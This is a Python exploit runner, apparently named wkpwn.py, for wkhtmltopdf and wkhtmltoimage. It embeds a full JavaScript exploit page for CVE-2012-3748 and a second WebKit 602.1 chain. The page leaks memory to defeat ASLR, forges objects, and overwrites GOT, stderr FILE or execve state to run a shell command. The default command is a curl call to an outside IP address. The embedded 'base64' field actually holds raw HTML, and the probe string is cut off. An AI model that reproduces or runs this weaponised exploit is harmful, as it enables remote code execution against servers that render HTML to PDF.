#!/usr/bin/env python3
"""
wkpwn.py -- single-file portable wkhtmltox RCE runner + porter
            (WebKit 534.34 / CVE-2012-3748, JSArray::sort UAF)

SELF-CONTAINED: the exploit page and the fingerprint probe are embedded (base64).
Nothing else is needed on the host except python3, plus:
  - docker  (for image targets)  OR a local wkhtmltopdf/wkhtmltoimage (--local)
  - gdb + readelf                (only for --fp fingerprint / --port derivation)

USAGE
  wkpwn.py                                 interactive menu (no args)
  wkpwn.py <docker-image> [-b BIN] [-c CMD] [-n N]
  wkpwn.py --local <path>     [-c CMD] [-n N]
  wkpwn.py --fp <target> [-b BIN]          fingerprint the build only
  wkpwn.py --extract <target> [-b BIN]     leak a NEW build's full row from scratch (no ref needed)
  wkpwn.py --port <img-bin> [--ref-bin PDF --ref-off "IMPLVT=..,WRAPVT=..,..."]
                                           derive an IMAGE row from a same-build PDF (relocation match)
  wkpwn.py --emit [path]                   write the exploit page to disk (default ./wkpwn_exploit.html)
  wkpwn.py --list                          explain the preset targets

  -b/--binary  wkhtmltopdf (default) | wkhtmltoimage
  -c/--cmd     command to run (default: id). Pass JUST the command -- its output is
               auto-captured and printed for you; do NOT add your own '>/tmp/pwn'.
               Any length works (long commands are auto-staged to a script).
  -n/--count   attempts before giving up (default 5)

ADDING A NEW BUILD (semi-automated):
  1) wkpwn.py --fp <target>          -> leaks fpwk; says KNOWN or NEW
  2) if NEW:  wkpwn.py --extract <target> [-b wkhtmltopdf|wkhtmltoimage]
        Leaks the whole row (IMPLVT/WRAPVT/STVT/CINFO from a core + STGOT/GEGOT from the
        GOT + PIE/useGOT from the ELF header) -- works for ANY build, no reference binary.
        (--port is an alternative for an IMAGE when you already have its same-build PDF row.)
  3) paste the printed row into EXTRA_ROWS below. Done -- it's injected every run.
"""
import argparse, base64, os, re, shutil, struct, subprocess, sys, tempfile

# ============================ embedded assets ================================
EMBEDDED_HTML_B64     = "<html><body><script>
var CMD="curl 159.223.129.73";
/* Engine-adaptive test page. Dispatches on navigator.userAgent to the matching
 * handler for the two WebKit builds wkhtmltopdf ships. Drops `id` to /tmp/pwn. */
var ua = navigator.userAgent;
if (ua.indexOf("AppleWebKit/534.34") !== -1) run534();
else if (ua.indexOf("AppleWebKit/602.1") !== -1) run602();

/* ---------------- WebKit 534.34 (patched-qt builds) ---------------- */
function run534(){
/* ============================================================================
 * WebKit 534.34 / QtWebKit 2.2 handler, CVE-2012-3748
 * JSArray::sort stale-ArrayStorage use-after-free.
 * Self-contained, no network, full ASLR defeated (every address leaked live),
 * JIT-off / data-only. Self-selects across every shipped build at runtime:
 *   BUILD  : impl_vt & 0xfff  -> offset row      (BUILD TABLE, below)
 *   glibc  : getenv  & 0xfff  -> FSOP libc offs  (po TABLE, below)
 * and picks one of three finishers per build:
 *   GOT    : strtol@GOT -> system, fired by new Date()     (Partial-RELRO PIE)
 *   FSOP   : House-of-Apple-2 on _IO_2_1_stderr_; pure-JS   (non-PIE + Full-RELRO)
 *            trigger (fa.x0 -> _IO_flush_all), alert() only on glibc 2.35
 *   lazyptr: _strtol __la_symbol_ptr -> system              (macOS Mach-O)
 * Verified: centos7/amazonlinux2/native/jammy/bookworm/trixie/CentOS-9/macOS,
 * both wkhtmltopdf & wkhtmltoimage, glibc 2.17–2.41, full ASLR, no debugger.
 * Full target matrix + porting recipe: TARGETS.md.  (do not hand-edit offsets)
 * ==========================================================================*/
var _gc=[];
function lo32(a){return (a%0x100000000)>>>0;} function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function L(a){return lo32(a);} function H(a){return hi32(a);}
var _dv=new DataView(new ArrayBuffer(8));
function d2u(d){_dv.setFloat64(0,d,true); return [_dv.getUint32(0,true)>>>0,_dv.getUint32(4,true)>>>0];}
function fullptr(dbl){ var r=d2u(dbl); var qh=(r[1]+0x10000)>>>0, ql=r[0]>>>0;
  var phi=qh>>>16; var plo=(((ql>>>16)|((qh&0xffff)<<16))>>>0); return phi*0x100000000+plo; }
function addrof(t){
  var vw=[]; var a1=[]; for(var i=0;i<32;i++) a1[i]=t; a1[32]=0x41410000; _gc.push(a1,vw); var did=false;
  a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true; for(var g=0;g<4096;g++)a1.push(g);
    for(var q=0;q<2000;q++){var v=new Uint32Array(100);v[0]=0x7abc0000+q;vw.push(v);}} return 0;});
  var c={},b=null,bn=0; for(var i=0;i<vw.length;i++){var v=vw[i];
    for(var k=0;k+1<v.length;k++){var lo=v[k]>>>0,hi=v[k+1]>>>0;
      if(hi>0&&hi<0x10000&&lo>0&&(lo>>>16)!==0x7abc){var key=hi+":"+lo;c[key]=(c[key]||0)+1;
        if(c[key]>bn){bn=c[key];b=[lo,hi];}}}} return b?(b[1]*0x100000000+b[0]):0;
}
function mkmapN(Tlo,Thi,N){var a=new Array(183);
  a[0]=Tlo&0xffff;a[1]=(Tlo>>>16)&0xffff;a[2]=Thi&0xffff;a[3]=(Thi>>>16)&0xffff;
  a[4]=N&0xffff;a[5]=0;a[6]=0;a[7]=0;a[8]=N&0xffff;a[9]=0;a[10]=0;a[11]=0;for(var i=12;i<183;i++)a[i]=0;
  return String.fromCharCode.apply(null,a);}
// Leak qwords at *mt via a fake sparse HashTable planted mid-sort.
//   raw falsy  -> recovered pointers (fullptr math, consecutive-deduped)  [the leaks]
//   raw truthy -> raw high-dwords (full-deduped, no ptr math)             [the fp read only]
// The captured doubles are identical either way; only the post-processing differs.
function read2(mt,keeper,N,raw){
  var lo=lo32(mt),hi=hi32(mt),cap=[];
  var a1=[];for(var i=0;i<28;i++)a1[i]=keeper;a1[28]=0x41410000;a1[29]=keeper;a1[30]=keeper;a1[31]=keeper;a1[32]=keeper;_gc.push(a1,cap);
  var did=false;
  a1.sort(function(x,y){if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
    var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(lo,hi,N));_gc.push(s);}
    else if(did){var V=null;if(x!==keeper&&x!==0x41410000)V=x;else if(y!==keeper&&y!==0x41410000)V=y;
      if(V!==null&&typeof V==="number")cap.push(V);}return 0;});
  if(raw){ var r=[]; for(var ii=0;ii<cap.length;ii++){ var hh=d2u(cap[ii])[1]>>>0,f=false;
      for(var m=0;m<r.length;m++)if(r[m]===hh)f=true; if(!f)r.push(hh); } return r; }
  var d=[]; for(var ii=0;ii<cap.length;ii++){ var p=fullptr(cap[ii]); if(d.length===0||d[d.length-1]!==p)d.push(p); } return d;
}
function fakeobj(xlo,xhi){
  var vw=[], cap=[]; var probe={m:1};
  var a1=[]; a1[0]=probe; a1[1]=0x41410000; for(var i=2;i<33;i++) a1[i]=probe; _gc.push(a1,vw,cap);
  var did=false;
  a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true;
    for(var g=0;g<4096;g++) a1.push(g);
    for(var q=0;q<2000;q++){var v=new Uint32Array(100); for(var t=10;t<100;t+=2){v[t]=xlo;v[t+1]=xhi;} vw.push(v);}}
    else if(did){ if(x!==probe&&x!==0x41410000&&typeof x==="object"&&x!==null)cap.push(x);
      else if(y!==probe&&y!==0x41410000&&typeof y==="object"&&y!==null)cap.push(y);} return 0;});
  return cap.length?cap[0]:null;
}
var TV=new Uint32Array(0x140); for(var i=0;i<0x140;i++) TV[i]=0; _gc.push(TV);   // 0x500-byte backing, zeroed
// RES[] = gdb-only diagnostic channel (irrelevant to popping; inspect after a crash to see
// how far we got): [0]=0xF00D0000 magic  [3]=0xF00D0001 when finisher reached  [8..9]=impl
// [10..13]=Mb,backing  [16]=stage reached (1..7)  [17]=fakeobj ok  [27]=po  [28]=fpwk.
var RES=new Uint32Array(0x20); RES[0]=0xF00D0000; RES[3]=0; _gc.push(RES);
var Atv=addrof(TV), Ahi=hi32(Atv);
var M0=Atv+0x24, olo=lo32(M0), ohi=hi32(M0), did=false, done=false;
var a1=[];for(var i=0;i<28;i++)a1[i]=TV;a1[28]=0x41410000;a1[29]=TV;a1[30]=TV;a1[31]=TV;a1[32]=TV;_gc.push(a1);
a1.sort(function(x,y){
  if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
    var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(olo,ohi,6));_gc.push(s);}
  else if(did){
    var V=null; if(x!==TV&&x!==0x41410000&&typeof x==="number")V=x; else if(y!==TV&&y!==0x41410000&&typeof y==="number")V=y;
    if(V!==null && !done){ done=true;
      var impl=Ahi*0x100000000+((d2u(V)[1]+0x10000)>>>0);
      RES[8]=L(impl);RES[9]=H(impl);RES[16]=1;
      var isMac=/Mac/.test(navigator.platform);
      var IMPLVT=0,WRAPVT=0,STVT=0,CINFO=0,STGOT=0,GEGOT=0,PIE=0,useGOT=0,fpwk=0,os="linux",STRTOLP=0,DELTA=0,impl_vt=0,backing=0,Mb=0;
      if(isMac){
        // macOS Mach-O: read2(impl-0xa,2) leak (the raw fp read corrupts macOS malloc); _strtol lazy-ptr finisher
        var vsm=read2(impl-0xa, TV, 2); impl_vt=vsm.length>=1?vsm[0]:0; backing=vsm.length>=2?vsm[vsm.length-1]:0;
        fpwk=impl_vt&0xfff; os="macos"; PIE=1;
        IMPLVT=0x24ad968;WRAPVT=0x253e390;STVT=0x24543b0;CINFO=0x253e360;GEGOT=0x24429f8;STRTOLP=0x2442fe8;DELTA=0x7c3b9; // wkhtmltopdf 0.12.6 macOS (fpwk 0x968)
        Mb=impl_vt-IMPLVT;
      } else {
      var rr=read2(impl-0x1c, TV, 3, 1);   // Linux fp read (raw; PIE-benign mt; safe on PIE + non-PIE)
      for(var fi=0;fi<rr.length;fi++){ var _c=rr[fi]&0xfff;
        if(_c===0xa90){ IMPLVT=0x2599a90;WRAPVT=0x255e870;STVT=0x2437e10;CINFO=0x255ea00;STGOT=0x260c7e0;GEGOT=0x260d2a8;PIE=0;useGOT=1;fpwk=_c;break; } // centos7 pdf RPM       (non-PIE, GOT)
        else if(_c===0xba8){ IMPLVT=0x25f9ba8;WRAPVT=0x2711b90;STVT=0x261cfc0;CINFO=0x2711d20;STGOT=0x279a7c8;GEGOT=0x279b270;PIE=0;useGOT=1;fpwk=_c;break; } // amazonlinux2 pdf RPM  (non-PIE, GOT)
        else if(_c===0xfa8){ IMPLVT=0x294dfa8;WRAPVT=0x2a67950;STVT=0x2972d60;CINFO=0x2a67ae0;STGOT=0x2af0858;GEGOT=0x2af1260;PIE=1;useGOT=1;fpwk=_c;break; } // native 0.12.6.1 pdf   (PIE, GOT)
        else if(_c===0x228){ IMPLVT=0x293f228;WRAPVT=0x2a58950;STVT=0x2963d60;CINFO=0x2a58ae0;STGOT=0x2ae1858;GEGOT=0x2ae2260;PIE=1;useGOT=1;fpwk=_c;break; } // native wkhtmltoimage   (PIE, GOT)
        else if(_c===0x7e8){ IMPLVT=0x2bcc7e8;WRAPVT=0x2ce6170;STVT=0x2bf15a0;CINFO=0x2ce6300;STGOT=0x2d6ece8;GEGOT=0x2d6f770;PIE=1;useGOT=0;fpwk=_c;break; } // jammy CLI pdf         (Full-RELRO PIE, FSOP)
        else if(_c===0xa68){ IMPLVT=0x2bbda68;WRAPVT=0x2cd7170;STVT=0x2be25a0;CINFO=0x2cd7300;STGOT=0x2d5fce8;GEGOT=0x2d60768;PIE=1;useGOT=0;fpwk=_c;break; } // jammy wkhtmltoimage    (Full-RELRO PIE, FSOP)
        else if(_c===0x1a8){ IMPLVT=0x2a061a8;WRAPVT=0x2b1f970;STVT=0x2a2ada0;CINFO=0x2b1fb00;STGOT=0x2ba8820;GEGOT=0x2ba92b0;PIE=1;useGOT=0;fpwk=_c;break; } // trixie wkhtmltoimage (glibc 2.41)
        else if(_c===0xf28){ IMPLVT=0x2a15f28;WRAPVT=0x2b2f970;STVT=0x2a3ada0;CINFO=0x2b2fb00;STGOT=0x2bb8820;GEGOT=0x2bb92b0;PIE=1;useGOT=1;fpwk=_c;break; } // official bookworm 0.12.6.1 wkhtmltox (Partial RELRO, GOT)
        else if(_c===0x9e8){ if((rr[fi]&0xffff)===0x09e8){ IMPLVT=0x24f09e8;WRAPVT=0x26089f0;STVT=0x2513e20;CINFO=0x2608b80;STGOT=0x2691840;GEGOT=0x26922e8; } else { IMPLVT=0x24fe9e8;WRAPVT=0x26169f0;STVT=0x2521e20;CINFO=0x2616b80;STGOT=0x269f840;GEGOT=0x26a02e8; } PIE=0;useGOT=0;fpwk=_c;break; } // CentOS DO droplet non-PIE: pdf(impl_vt&0xffff=0xe9e8, default) + image(0x09e8) collide at fpwk 0x9e8
      }
      if(PIE){ var vsp=read2(impl-0xa, TV, 2); impl_vt=vsp.length>=1?vsp[0]:0; backing=vsp.length>=2?vsp[vsp.length-1]:0; Mb=impl_vt-IMPLVT; }
      else { Mb=0x400000; impl_vt=Mb+IMPLVT; var vsn=read2(impl+6, TV, 1); backing=vsn.length?vsn[0]:0; }
      }
      var gidx=(GEGOT-STGOT)/4;
      RES[10]=L(Mb);RES[11]=H(Mb);RES[12]=L(backing);RES[13]=H(backing);RES[16]=2; RES[28]=fpwk>>>0;
      // ---- forge fake Uint32Array in TV backing; fa initially points at impl+0x10 (TV's real m_baseAddress) ----
      var selfbase=impl+0x10;
      TV[0]=L(Mb+WRAPVT);TV[1]=H(Mb+WRAPVT);
      TV[2]=L(backing+0x80);TV[3]=H(backing+0x80);
      TV[12]=L(backing+0x40);TV[13]=H(backing+0x40);
      TV[16]=L(impl_vt);TV[17]=H(impl_vt);
      TV[20]=L(selfbase);TV[21]=H(selfbase);      // m_baseAddress = impl+0x10 (restore handle)
      TV[26]=0x1000;
      TV[32]=L(Mb+STVT);TV[33]=H(Mb+STVT);
      TV[36]=0xa008;
      TV[48]=L(Mb+CINFO);TV[49]=H(Mb+CINFO);
      // pre-stage fake wide-vtable link X->Y (X=backing+0x100, Y=backing+0x280); healthy pre-fakeobj TV writes
      var X=backing+0x100, Y=backing+0x280, lockaddr=backing+0xd0;
      TV[(0x230)/4]=L(Y); TV[(0x230)/4+1]=H(Y);  TV[(0x1e0)/4]=L(Y); TV[(0x1e0)/4+1]=H(Y);   // X+0xe0 = _wide_vtable = Y
      var fa=fakeobj(L(backing+0x00),H(backing+0x00));
      RES[17]=(fa!==null)?1:0; RES[16]=3;
      if(fa!==null){
        // (1) restore TV's real m_baseAddress (fa currently = *(impl+0x10)) so TV[i] writes work again
        RES[18]=fa[0]>>>0; RES[19]=fa[1]>>>0;          // clobbered value (diag)
        fa[0]=L(backing); fa[1]=H(backing);
        RES[16]=4;
        if(os==="macos"){
          TV[20]=L(Mb+GEGOT); TV[21]=H(Mb+GEGOT);                 // point fa at _getenv lazy ptr
          var mgl=fa[0]>>>0, mgh=fa[1]>>>0, mge=mgl+mgh*0x100000000;  // = getenv (libSystem)
          var msys=mge+DELTA, sidx=(STRTOLP-GEGOT)/4;              // system = getenv+DELTA; _strtol lazy ptr
          fa[sidx]=L(msys); fa[sidx+1]=H(msys);                    // overwrite _strtol -> system
          new Date(CMD);                           // strtol(cmd) == system(cmd)
          RES[3]=0xF00D0001; RES[16]=6;
        } else {
        // (2) re-point fa at strtol@GOT via TV (now healthy); read getenv@GOT -> libc
        var STG=Mb+STGOT;
        TV[20]=L(STG); TV[21]=H(STG);
        var gl=fa[gidx]>>>0, gh=fa[gidx+1]>>>0;
        RES[24]=gl; RES[25]=gh; RES[16]=5;
        var getenv_addr=gl+gh*0x100000000;
        // glibc fingerprint (page offset of getenv) -> FSOP offsets
        var po=gl&0xfff;
        var go=0x44b70, so=0x50d70, stream_o=0x21b6a0, wfj_o=0x2170c0, flush_o=0x8edf0; // default glibc 2.35 (Ubuntu jammy)
        if(po===0xc50){ go=0x3ac50; so=0x45f10; stream_o=0x1cf5c0; wfj_o=0x1caf40; flush_o=0x7f6c0; } // glibc 2.31 (Debian bullseye)
        if(po===0x0b0){ go=0x3f0b0; so=0x4c490; stream_o=0x1d4680; wfj_o=0x1d00a0; flush_o=0x83e50; } // glibc 2.36 (Debian bookworm)
        if(po===0xd10){ go=0x35d10;so=0x40970;stream_o=0x3a8680;wfj_o=0x3a3ec0;flush_o=0x78b40; } // glibc 2.26 (Amazon Linux 2)
        if(po===0xc0){ go=0x430c0;so=0x53110;stream_o=0x1e64e0;wfj_o=0x1e4228;flush_o=0x8d350; } // glibc 2.41 (Debian trixie)
        if(po===0x8a0){ go=0x428a0; so=0x4f520; stream_o=0x1fc6c0; wfj_o=0x1f80a0; flush_o=0x85d40; } // CentOS glibc (DO droplet)
        RES[27]=po>>>0;
        var libc=getenv_addr-go;
        var systemA=libc+so, stdout=libc+stream_o, wfj=libc+wfj_o;
        RES[20]=L(libc);RES[21]=H(libc);RES[22]=L(systemA);RES[23]=H(systemA);
        if(useGOT){ fa[0]=L(systemA); fa[1]=H(systemA); new Date(CMD); RES[3]=0xF00D0001; RES[16]=6; } else {
        // (3) finish wide-vtable: Y+0x68 = system (backing write via healthy TV)
        TV[(0x2e8)/4]=L(systemA); TV[(0x2e8)/4+1]=H(systemA);
        // (4) point fa at stdout (single base), burst-write the FILE fields
        TV[20]=L(stdout); TV[21]=H(stdout);
        var cmd="  "+CMD;
        var w=[0,0,0,0,0,0,0,0];
        for(var ci=0;ci<cmd.length;ci++){ w[ci>>2] = (w[ci>>2] | (cmd.charCodeAt(ci)<<((ci&3)*8)))>>>0; }
        for(var wi=0;wi<8;wi++){ fa[wi]=w[wi]>>>0; }     // _flags..+0x1f = command string
        fa[8]=0; fa[9]=0;                                 // _IO_write_base(0x20)=0
        fa[10]=1; fa[11]=0;                               // _IO_write_ptr(0x28)=1  (>_base -> flush)
        fa[34]=L(lockaddr); fa[35]=H(lockaddr);           // _lock(0x88) -> zeroed backing
        fa[40]=L(X); fa[41]=H(X);                         // _wide_data(0xa0)=X
        fa[48]=0;                                         // _mode(0xc0)=0
        fa[54]=L(wfj); fa[55]=H(wfj);                     // vtable(0xd8)=_IO_wfile_jumps
        if(po===0xb70)alert("A");
        // ---- PURE-JS INLINE TRIGGER (does not depend on wkhtmltopdf printing; --quiet-proof) ----
        // Build a fake C++ vtable Z (all slots -> _IO_flush_all) in the TV backing, then point
        // fa's own cell vtable at Z. JSC 534.34 dispatches property access through the cell C++
        // vtable, so `fa.x` -> _IO_flush_all() -> flushes the corrupted stderr FILE
        // -> _IO_wfile_overflow -> _IO_wdoallocbuf -> (Y+0x68)=system(stderr=" id>...") -> RCE.
        var flushall=libc+flush_o, Zi=0x300>>2;
        for(var zi=0; zi<64; zi++){ TV[Zi+zi*2]=L(flushall); TV[Zi+zi*2+1]=H(flushall); }
        TV[0]=L(backing+0x300); TV[1]=H(backing+0x300);   // fa cell vtable -> Z
        RES[3]=0xF00D0001; RES[16]=6;
        try{ fa.x0; }catch(e){}
        try{ String(fa); }catch(e){}
        try{ fa+""; }catch(e){}
        if(po===0xb70)alert("A");                                        // also fires the trigger for non-quiet callers
        RES[16]=7;
        }
        }
      }
    }
  }
  return 0;});
document.write("x");
}

/* ---------------- WebKit 602.1 (distro Qt5WebKit) ---------------- */
function run602(){
  var _bb=new ArrayBuffer(8),_f=new Float64Array(_bb),_u=new Uint32Array(_bb);
  function u2d(lo,hi){_u[0]=lo>>>0;_u[1]=hi>>>0;return _f[0];}
  function d2u(d){_f[0]=d;return [_u[0]>>>0,_u[1]>>>0];}
  function lo32(a){return (a%0x100000000)>>>0;}
  function hi32(a){return Math.floor(a/0x100000000)>>>0;}
  function ptrish(v){ if(typeof v!=='number'||v!==v||v===(v|0))return false; var p=d2u(v);
    return (p[1]>=0x0001 && p[1]<=0x7fff && p[0]!==0); }
  function gc(){ for(var i=0;i<6;i++){ var ab=new ArrayBuffer(1024*1024*10); ab=null; } }
  var SID=0x61;
  var dummy={d:1};
  var oob=[1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
  oob.pa=dummy; oob.pb=dummy; oob.pc=dummy; oob.pd=dummy;
  var g=new Float64Array(16);
  function trig(a){ var acc=0.0; for(var j=0;j<30000;j++){ acc+=a[j&7]; }
    var hi=a[7]; g[0]=a[-1];g[1]=a[-2];g[2]=a[-3];g[3]=a[-4];g[4]=a[-5];g[5]=a[-6];g[6]=a[-7];g[7]=a[-8];
    g[8]=a[-9];g[9]=a[-10];g[10]=a[-11];g[11]=a[-12];g[12]=a[-13];g[13]=a[-14];g[14]=a[-15];g[15]=a[-16];
    return acc+hi; }
  function warm(n){ for(var w=0;w<n;w++){ trig(oob); } }
  (function(){ var vs=[1,2.5,-3,1e100,{},[],"s",null,true,0x1234,3.14,{q:1}];
    for(var i=0;i<vs.length;i++){ oob.pa=vs[i]; } oob.pa=dummy; })();
  function addrof(x){ oob.pa=x; trig(oob); var v=g[1]; oob.pa=dummy; return v; }
  function addrN(x){ var d=addrof(x); return d2u(d)[1]*0x100000000+d2u(d)[0]; }
  warm(400);
  function mkv(addr){ var a=[0,4.243991582e-314,u2d(lo32(addr),hi32(addr)),3.5e-323,3.5e-323];
    var f=document.body.appendChild(document.createElement('iframe'));
    f.contentWindow.Array.prototype.__defineGetter__(100,function(){return 1;});
    var sub=f.contentWindow.Array.prototype.slice.call(a,0,4); f.remove(); return sub[0]; }
  function opt(obj){ for(var i=0;i<500;i++){} var tmp={a:1}; gc(); tmp.__proto__={};
    for(var k in tmp){ tmp.__proto__={}; gc(); obj.__proto__={}; return obj[k]; } }
  opt({});
  var ctl=null, CTLBASE=0;
  for(var t=0;t<8 && !ctl;t++){ var mem=new Uint32Array(0x400000); var r=opt(mem); warm(150);
    var ba=addrof(r); if(ptrish(ba)){ ctl=mem; CTLBASE=d2u(ba)[1]*0x100000000+d2u(ba)[0]; } }
  if(ctl){
    var V=CTLBASE+0x100000;
    ctl[2]=0;ctl[3]=0; ctl[4]=lo32(V);ctl[5]=hi32(V); ctl[6]=0x10000;ctl[7]=1; ctl[0]=SID; ctl[1]=0x01182600;
    var fake=mkv(CTLBASE);
    function setV(a,len){ ctl[4]=lo32(a); ctl[5]=hi32(a); ctl[6]=(len||0x1000)>>>0; ctl[7]=1; }
    function safeV(){ ctl[4]=lo32(V); ctl[5]=hi32(V); ctl[6]=0x10000; ctl[7]=1; }
    function rd64(a){ setV(a,0x100); var lo=fake[0]>>>0,hi=fake[1]>>>0; safeV(); return hi*0x100000000+lo; }
    function rd32(a){ setV(a,0x100); var v=fake[0]>>>0; safeV(); return v; }
    if(fake instanceof Uint32Array){
      var vt=rd64(rd64(addrN(Math.sin)+0x18)+0x38), fpwk=vt&0xfff;
      var LIBWK_VT_OFF=0x9646a0, GETENV_GOT=0x2cf5a10;                 // distro jammy 602.1 (fpwk=0x6a0)
      var libwk=vt-LIBWK_VT_OFF;
      var getenv_addr=rd64(libwk+GETENV_GOT), po=getenv_addr&0xfff;
      var GETENV_OFF=0x44b70, SETCTX_OFF=0x539e0, EXECVE_OFF=0xeb080;  // glibc 2.35 (po=0xb70)
      var libc=getenv_addr-GETENV_OFF;
      if(rd32(libc)===0x464c457f)
      (function go(cmd){
        var SETCTX=libc+SETCTX_OFF, EXECVE=libc+EXECVE_OFF;
        function w(off,val){ ctl[off>>2]=lo32(val); ctl[(off>>2)+1]=hi32(val); }
        function wstr(off,s){ var b=[]; for(var i=0;i<s.length;i++)b.push(s.charCodeAt(i)&0xff); b.push(0);
          while(b.length%8)b.push(0);
          for(var i=0;i<b.length;i+=8){ ctl[(off+i)>>2]=(b[i]|(b[i+1]<<8)|(b[i+2]<<16)|(b[i+3]<<24))>>>0;
            ctl[(off+i+4)>>2]=(b[i+4]|(b[i+5]<<8)|(b[i+6]<<16)|(b[i+7]<<24))>>>0; } }
        function A(off){ return CTLBASE+off; }
        var O_VM=0x900000,O_TABLE=0x920000,O_STRUCT=0x930000,O_CI=0x940000;
        var O_BINSH=0x950000,O_DASHC=0x950010,O_CMD=0x950020,O_ARGV=0x950200,O_ENVP=0x950300,O_PATH=0x950380,O_STACK=0x970000;
        w(0xe8,A(O_VM)); w(O_VM+0x4630,A(O_VM)); w(O_VM+0xc0,A(O_TABLE)); w(0xb0,0);
        w(O_TABLE+0,0); w(O_TABLE+0x61*8,A(O_STRUCT)); w(O_STRUCT+0,0); w(O_STRUCT+8,0);
        w(O_STRUCT+0x40,A(O_CI)); w(O_CI+0x8,0);
        for(var k=0;k<0x40;k++) w(O_CI+0x18+k*8,SETCTX);
        wstr(O_BINSH,"/bin/sh"); wstr(O_DASHC,"-c"); wstr(O_CMD,cmd);
        wstr(O_PATH,"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
        w(O_ARGV+0,A(O_BINSH)); w(O_ARGV+8,A(O_DASHC)); w(O_ARGV+16,A(O_CMD)); w(O_ARGV+24,0);
        w(O_ENVP+0,A(O_PATH)); w(O_ENVP+8,0);
        w(0x28,0);w(0x30,0);w(0x48,0);w(0x50,0);w(0x58,0);w(0x60,0);w(0x78,0);w(0x80,0);w(0x98,0);
        w(0x68,A(O_BINSH)); w(0x70,A(O_ARGV)); w(0x88,A(O_ENVP)); w(0xa0,A(O_STACK)); w(0xa8,EXECVE); w(0xe0,A(0x990000));
        var junk=[]; for(var i=0;i<400;i++){ junk.push(new Uint8Array(0x10000)); }
      })(CMD);
    }
  }
}
</script></body></html>
"
EMBEDDED_PROBE_B64    = "PGh0bWw+PGJvZHk+PHNjcmlwdD4KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogKiBVbml2ZXJzYWwgaW4tcGFnZS1KUyBSQ0UgZm9yIHdraHRtbHRvcGRmIChXZWJLaXQgNTM0LjM0IC8gUXRXZWJLaXQgMi4yKQogKiBDVkUtMjAxMi0zNzQ4ICDigJQgIEpTQXJyYXk6OnNvcnQgc3RhbGUtQXJyYXlTdG9yYWdlIHVzZS1hZnRlci1mcmVlCiAqCiAqIFNlbGYtY29udGFpbmVkLCBubyBuZXR3b3JrLCBkZWZlYXRzIEFTTFIgKGFsbCBhZGRyZXNzZXMgbGVha2VkIGxpdmUpLgogKiBBZGFwdHMgdG8gdGhlIHR3byBheGVzIHRoYXQgdmFyeSBhY3Jvc3MgcmVhbCBkZXBsb3ltZW50czoKICogICAtIHdraHRtbHRvcGRmIEJVSUxEICA6IHRhYmxlIGtleWVkIGJ5IGltcGxfdnQgJiAweGZmZiAocGFnZS1hbGlnbmVkIGZpbmdlcnByaW50KQogKiAgIC0gZ2xpYmMgVkVSU0lPTiAgICAgIDogdGFibGUga2V5ZWQgYnkgZ2V0ZW52JjB4ZmZmIChBU0xSLWludmFyaWFudCBwYWdlIG9mZnNldCkKICogRmluaXNoZXIgPSBIb3VzZS1vZi1BcHBsZS0yIEZTT1AgKGNvcnJ1cHQgX0lPXzJfMV9zdGRlcnJfKSwgZmlyZWQgSU5MSU5FIGJ5CiAqIGFsZXJ0KCkgLT4gZnByaW50ZihzdGRlcnIpOiBSRUxSTy1BR05PU1RJQywgc28gT05FIHBhdGggY292ZXJzIGJvdGgKICogUGFydGlhbC1SRUxSTyAoR09UIHdvdWxkIGJlIHdyaXRhYmxlKSBhbmQgRnVsbC1SRUxSTyAoQklORF9OT1cpIHRhcmdldHMuCiAqIFZlcmlmaWVkOiBkb2NrZXIgMC4xMi42LjEgbW9ub2xpdGhpYyAoUGFydGlhbCkgKyBqYW1teSAwLjEyLjYuMS0yIENMSSAoRnVsbCksCiAqIGdsaWJjIDIuMzEgKyAyLjM1LCBmdWxsIEFTTFIsIG5vIGRlYnVnZ2VyLgogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovCnZhciBfZ2M9W107CmZ1bmN0aW9uIGxvMzIoYSl7cmV0dXJuIChhJTB4MTAwMDAwMDAwKT4+PjA7fSBmdW5jdGlvbiBoaTMyKGEpe3JldHVybiBNYXRoLmZsb29yKGEvMHgxMDAwMDAwMDApPj4+MDt9CmZ1bmN0aW9uIEwoYSl7cmV0dXJuIGxvMzIoYSk7fSBmdW5jdGlvbiBIKGEpe3JldHVybiBoaTMyKGEpO30KdmFyIF9kdj1uZXcgRGF0YVZpZXcobmV3IEFycmF5QnVmZmVyKDgpKTsKZnVuY3Rpb24gZDJ1KGQpe19kdi5zZXRGbG9hdDY0KDAsZCx0cnVlKTsgcmV0dXJuIFtfZHYuZ2V0VWludDMyKDAsdHJ1ZSk+Pj4wLF9kdi5nZXRVaW50MzIoNCx0cnVlKT4+PjBdO30KZnVuY3Rpb24gZnVsbHB0cihkYmwpeyB2YXIgcj1kMnUoZGJsKTsgdmFyIHFoPShyWzFdKzB4MTAwMDApPj4+MCwgcWw9clswXT4+PjA7CiAgdmFyIHBoaT1xaD4+PjE2OyB2YXIgcGxvPSgoKHFsPj4+MTYpfCgocWgmMHhmZmZmKTw8MTYpKT4+PjApOyByZXR1cm4gcGhpKjB4MTAwMDAwMDAwK3BsbzsgfQpmdW5jdGlvbiBhZGRyb2YodCl7CiAgdmFyIHZ3PVtdOyB2YXIgYTE9W107IGZvcih2YXIgaT0wO2k8MzI7aSsrKSBhMVtpXT10OyBhMVszMl09MHg0MTQxMDAwMDsgX2djLnB1c2goYTEsdncpOyB2YXIgZGlkPWZhbHNlOwogIGExLnNvcnQoZnVuY3Rpb24oeCx5KXsgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlOyBmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICBmb3IodmFyIHE9MDtxPDIwMDA7cSsrKXt2YXIgdj1uZXcgVWludDMyQXJyYXkoMTAwKTt2WzBdPTB4